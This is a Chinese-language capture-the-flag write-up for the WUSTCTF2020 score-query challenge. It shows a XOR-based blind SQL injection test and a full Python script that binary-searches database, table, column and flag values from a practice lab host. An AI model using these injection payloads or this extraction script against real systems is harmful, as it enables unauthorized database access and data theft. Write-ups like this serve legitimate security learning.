WUSTCTF2020 颜值成绩查询_0x21-0x2F

进去只有一个简单得输入框,测试下是否存在sql注入

image-20211022145243657

先输入1,2,3等

发现有数据显示

使用异或

http://fba65ac4-7e1e-4c73-bb3b-35bfdef68f71.node4.buuoj.cn:81/?stunum=0^1

结果显示得是stunum=1的界面

说明存在sql盲注

写一个简单脚本:

import requests
import time
url = "http://fba65ac4-7e1e-4c73-bb3b-35bfdef68f71.node4.buuoj.cn:81/"
data= ""
for i in range(10000):
    min = 32
    max = 128
    while (min < max) :
        mid = (min + max) // 2
    # 爆破数据库名
        #payload = "?stunum=0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)"%(i,mid)
    # 爆破表名
        #payload = "?stunum=0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)"%(i,mid)
    # 爆破字段
        #payload = "?stunum=0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)"%(i,mid)
    # 爆破数据
        payload = "?stunum=0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)
        urls = url+payload
        print(urls)
        response = requests.get(url=urls)
        time.sleep(0.2)
        if "Hi admin, your score is: 100" in response.text:
            min = mid+1
        else:
            max = mid
        mid = (min + max) // 2
    data += chr(mid)
    print(data)


image-20211022145433880

写这个脚本花了挺长时间,原因是对sql注入语句还不熟练,容易被括号迷惑,看晕。

以后要注重写代码的能力。